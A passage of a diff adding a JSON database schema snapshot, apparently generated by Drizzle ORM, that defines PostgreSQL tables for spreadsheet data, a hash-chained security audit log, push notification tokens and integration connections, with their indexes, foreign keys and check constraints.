"columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.sheet_range_deps": { + "name": "sheet_range_deps", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tabId": { + "name": "tabId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "formulaAddress": { + "name": "formulaAddress", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "rowStart": { + "name": "rowStart", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "rowEnd": { + "name": "rowEnd", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "colStart": { + "name": "colStart", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "colEnd": { + "name": "colEnd", + "type": "integer", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "sheet_range_deps_tab_idx": { + "name": "sheet_range_deps_tab_idx", + "columns": [ + { + "expression": "tabId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sheet_range_deps_cover_idx": { + "name": "sheet_range_deps_cover_idx", + "columns": [ + { + "expression": "tabId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "rowStart", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "rowEnd", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sheet_range_deps_formula_idx": { + "name": "sheet_range_deps_formula_idx", + "columns": [ + { + "expression": "tabId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "formulaAddress", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "sheet_range_deps_tabId_sheet_tabs_id_fk": { + "name": "sheet_range_deps_tabId_sheet_tabs_id_fk", + "tableFrom": "sheet_range_deps", + "tableTo": "sheet_tabs", + "columnsFrom": [ + "tabId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "sheet_range_deps_bounds_ordered": { + "name": "sheet_range_deps_bounds_ordered", + "value": "(\"sheet_range_deps\".\"rowEnd\" IS NULL OR \"sheet_range_deps\".\"rowEnd\" >= \"sheet_range_deps\".\"rowStart\") AND (\"sheet_range_deps\".\"colEnd\" IS NULL OR \"sheet_range_deps\".\"colEnd\" >= \"sheet_range_deps\".\"colStart\")" + } + }, + "isRLSEnabled": false + }, + "public.sheet_rows": { + "name": "sheet_rows", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tabId": { + "name": "tabId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "rowIndex": { + "name": "rowIndex", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "cells": { + "name": "cells", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "sheet_rows_page_row_idx": { + "name": "sheet_rows_page_row_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "rowIndex", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sheet_rows_tab_row_idx": { + "name": "sheet_rows_tab_row_idx", + "columns": [ + { + "expression": "tabId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "rowIndex", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sheet_rows_cells_gin": { + "name": "sheet_rows_cells_gin", + "columns": [ + { + "expression": "cells", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "gin", + "with": {} + } + }, + "foreignKeys": { + "sheet_rows_tabId_sheet_tabs_id_fk": { + "name": "sheet_rows_tabId_sheet_tabs_id_fk", + "tableFrom": "sheet_rows", + "tableTo": "sheet_tabs", + "columnsFrom": [ + "tabId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "sheet_rows_pageId_pages_id_fk": { + "name": "sheet_rows_pageId_pages_id_fk", + "tableFrom": "sheet_rows", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "sheet_rows_tab_row_unique": { + "name": "sheet_rows_tab_row_unique", + "nullsNotDistinct": false, + "columns": [ + "tabId", + "rowIndex" + ] + } + }, + "policies": {}, + "checkConstraints": { + "sheet_rows_row_index_non_negative": { + "name": "sheet_rows_row_index_non_negative", + "value": "\"sheet_rows\".\"rowIndex\" >= 0" + } + }, + "isRLSEnabled": false + }, + "public.sheet_tabs": { + "name": "sheet_tabs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tabIndex": { + "name": "tabIndex", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "rowCount": { + "name": "rowCount", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "columnCount": { + "name": "columnCount", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "frozenRows": { + "name": "frozenRows", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "frozenColumns": { + "name": "frozenColumns", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "columnFormats": { + "name": "columnFormats", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "columnWidths": { + "name": "columnWidths", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "rowHeights": { + "name": "rowHeights", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "ranges": { + "name": "ranges", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "conditionalFormats": { + "name": "conditionalFormats", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "regions": { + "name": "regions", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "sheet_tabs_page_id_idx": { + "name": "sheet_tabs_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "sheet_tabs_pageId_pages_id_fk": { + "name": "sheet_tabs_pageId_pages_id_fk", + "tableFrom": "sheet_tabs", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "sheet_tabs_page_tab_unique": { + "name": "sheet_tabs_page_tab_unique", + "nullsNotDistinct": false, + "columns": [ + "pageId", + "tabIndex" + ] + } + }, + "policies": {}, + "checkConstraints": { + "sheet_tabs_extent_non_negative": { + "name": "sheet_tabs_extent_non_negative", + "value": "\"sheet_tabs\".\"rowCount\" >= 0 AND \"sheet_tabs\".\"columnCount\" >= 0" + } + }, + "isRLSEnabled": false + }, + "public.security_audit_log": { + "name": "security_audit_log", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "event_type": { + "name": "event_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "service_id": { + "name": "service_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resource_type": { + "name": "resource_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resource_id": { + "name": "resource_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ip_address": { + "name": "ip_address", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ip_bidx": { + "name": "ip_bidx", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "geo_location": { + "name": "geo_location", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "details": { + "name": "details", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "risk_score": { + "name": "risk_score", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "anomaly_flags": { + "name": "anomaly_flags", + "type": "text[]", + "primaryKey": false, + "notNull": false + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "chain_seq": { + "name": "chain_seq", + "type": "bigserial", + "primaryKey": false, + "notNull": true + }, + "previous_hash": { + "name": "previous_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "event_hash": { + "name": "event_hash", + "type": "text", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "idx_security_audit_timestamp": { + "name": "idx_security_audit_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_user_timestamp": { + "name": "idx_security_audit_user_timestamp", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_event_type": { + "name": "idx_security_audit_event_type", + "columns": [ + { + "expression": "event_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_resource": { + "name": "idx_security_audit_resource", + "columns": [ + { + "expression": "resource_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_ip": { + "name": "idx_security_audit_ip", + "columns": [ + { + "expression": "ip_address", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_ip_bidx": { + "name": "idx_security_audit_ip_bidx", + "columns": [ + { + "expression": "ip_bidx", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_event_hash": { + "name": "idx_security_audit_event_hash", + "columns": [ + { + "expression": "event_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_chain_seq": { + "name": "idx_security_audit_chain_seq", + "columns": [ + { + "expression": "chain_seq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_risk_score": { + "name": "idx_security_audit_risk_score", + "columns": [ + { + "expression": "risk_score", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_session": { + "name": "idx_security_audit_session", + "columns": [ + { + "expression": "session_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_org_chain_seq": { + "name": "idx_security_audit_org_chain_seq", + "columns": [ + { + "expression": "(\"details\" ->> 'orgId')", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "chain_seq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "(\"security_audit_log\".\"details\" ->> 'orgId') IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_org_occurred_at": { + "name": "idx_security_audit_org_occurred_at", + "columns": [ + { + "expression": "(\"details\" ->> 'orgId')", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "(\"details\" ->> 'occurredAt')", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "(\"security_audit_log\".\"details\" ->> 'orgId') IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_security_audit_outbox_id": { + "name": "idx_security_audit_outbox_id", + "columns": [ + { + "expression": "(\"details\" ->> 'outboxId')", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "chain_seq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "(\"security_audit_log\".\"details\" ->> 'outboxId') IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "security_audit_log_user_id_users_id_fk": { + "name": "security_audit_log_user_id_users_id_fk", + "tableFrom": "security_audit_log", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_page_views": { + "name": "user_page_views", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "viewedAt": { + "name": "viewedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_page_views_user_id_idx": { + "name": "user_page_views_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_page_views_page_id_idx": { + "name": "user_page_views_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_page_views_user_page_idx": { + "name": "user_page_views_user_page_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_page_views_userId_users_id_fk": { + "name": "user_page_views_userId_users_id_fk", + "tableFrom": "user_page_views", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "user_page_views_pageId_pages_id_fk": { + "name": "user_page_views_pageId_pages_id_fk", + "tableFrom": "user_page_views", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "user_page_views_userId_pageId_pk": { + "name": "user_page_views_userId_pageId_pk", + "columns": [ + "userId", + "pageId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_hotkey_preferences": { + "name": "user_hotkey_preferences", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "hotkeyId": { + "name": "hotkeyId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "binding": { + "name": "binding", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_hotkey_preferences_user_hotkey_idx": { + "name": "user_hotkey_preferences_user_hotkey_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "hotkeyId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_hotkey_preferences_user_idx": { + "name": "user_hotkey_preferences_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_hotkey_preferences_userId_users_id_fk": { + "name": "user_hotkey_preferences_userId_users_id_fk", + "tableFrom": "user_hotkey_preferences", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.push_notification_tokens": { + "name": "push_notification_tokens", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token": { + "name": "token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "platform": { + "name": "platform", + "type": "PushPlatformType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "deviceId": { + "name": "deviceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "deviceName": { + "name": "deviceName", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isActive": { + "name": "isActive", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "webPushSubscription": { + "name": "webPushSubscription", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "lastUsedAt": { + "name": "lastUsedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "failedAttempts": { + "name": "failedAttempts", + "type": "text", + "primaryKey": false, + "notNull": false, + "default": "'0'" + }, + "lastFailedAt": { + "name": "lastFailedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "push_notification_tokens_user_id_idx": { + "name": "push_notification_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "push_notification_tokens_token_idx": { + "name": "push_notification_tokens_token_idx", + "columns": [ + { + "expression": "token", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "push_notification_tokens_platform_idx": { + "name": "push_notification_tokens_platform_idx", + "columns": [ + { + "expression": "platform", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "push_notification_tokens_active_idx": { + "name": "push_notification_tokens_active_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isActive", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "push_notification_tokens_userId_users_id_fk": { + "name": "push_notification_tokens_userId_users_id_fk", + "tableFrom": "push_notification_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.global_assistant_config": { + "name": "global_assistant_config", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "enabled_user_integrations": { + "name": "enabled_user_integrations", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "drive_overrides": { + "name": "drive_overrides", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "inherit_drive_integrations": { + "name": "inherit_drive_integrations", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "global_assistant_config_user_id_users_id_fk": { + "name": "global_assistant_config_user_id_users_id_fk", + "tableFrom": "global_assistant_config", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "global_assistant_config_user_id_unique": { + "name": "global_assistant_config_user_id_unique", + "nullsNotDistinct": false, + "columns": [ + "user_id" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.integration_audit_log": { + "name": "integration_audit_log", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agent_id": { + "name": "agent_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "connection_id": { + "name": "connection_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tool_name": { + "name": "tool_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "input_summary": { + "name": "input_summary", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "success": { + "name": "success", + "type": "boolean", + "primaryKey": false, + "notNull": true + }, + "response_code": { + "name": "response_code", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "error_type": { + "name": "error_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_message": { + "name": "error_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "duration_ms": { + "name": "duration_ms", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "integration_audit_log_drive_id_idx": { + "name": "integration_audit_log_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_audit_log_connection_id_idx": { + "name": "integration_audit_log_connection_id_idx", + "columns": [ + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_audit_log_created_at_idx": { + "name": "integration_audit_log_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_audit_log_drive_created_at_idx": { + "name": "integration_audit_log_drive_created_at_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "integration_audit_log_drive_id_drives_id_fk": { + "name": "integration_audit_log_drive_id_drives_id_fk", + "tableFrom": "integration_audit_log", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "integration_audit_log_agent_id_pages_id_fk": { + "name": "integration_audit_log_agent_id_pages_id_fk", + "tableFrom": "integration_audit_log", + "tableTo": "pages", + "columnsFrom": [ + "agent_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "integration_audit_log_user_id_users_id_fk": { + "name": "integration_audit_log_user_id_users_id_fk", + "tableFrom": "integration_audit_log", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "integration_audit_log_connection_id_integration_connections_id_fk": { + "name": "integration_audit_log_connection_id_integration_connections_id_fk", + "tableFrom": "integration_audit_log", + "tableTo": "integration_connections", + "columnsFrom": [ + "connection_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.integration_connections": { + "name": "integration_connections", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "provider_id": { + "name": "provider_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "integration_connection_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "status_message": { + "name": "status_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "credentials": { + "name": "credentials", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "base_url_override": { + "name": "base_url_override", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "config_overrides": { + "name": "config_overrides", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "account_metadata": { + "name": "account_metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "visibility": { + "name": "visibility", + "type": "integration_visibility", + "typeSchema": "public", + "primaryKey": false, + "notNull": false, + "default": "'owned_drives'" + }, + "oauth_state": { + "name": "oauth_state", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "suspended_by_policy": { + "name": "suspended_by_policy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "connected_by": { + "name": "connected_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "connected_at": { + "name": "connected_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "last_health_check": { + "name": "last_health_check", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "integration_connections_provider_id_idx": { + "name": "integration_connections_provider_id_idx", + "columns": [ + { + "expression": "provider_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_connections_user_id_idx": { + "name": "integration_connections_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_connections_drive_id_idx": { + "name": "integration_connections_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "integration_connections_suspended_by_policy_idx": { + "name": "integration_connections_suspended_by_policy_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"integration_connections\".\"suspended_by_policy\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "integration_connections_provider_id_integration_providers_id_fk": { + "name": "integration_connections_provider_id_integration_providers_id_fk", + "tableFrom": "integration_connections", + "tableTo": "integration_providers", + "columnsFrom": [ + "provider_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "integration_connections_user_id_users_id_fk": { + "name": "integration_connections_user_id_users_id_fk", + "tableFrom": "integration_connections", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "integration_connections_drive_id_drives_id_fk": { + "name": "integration_connections_drive_id_drives_id_fk", + "tableFrom": "integration_connections", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + 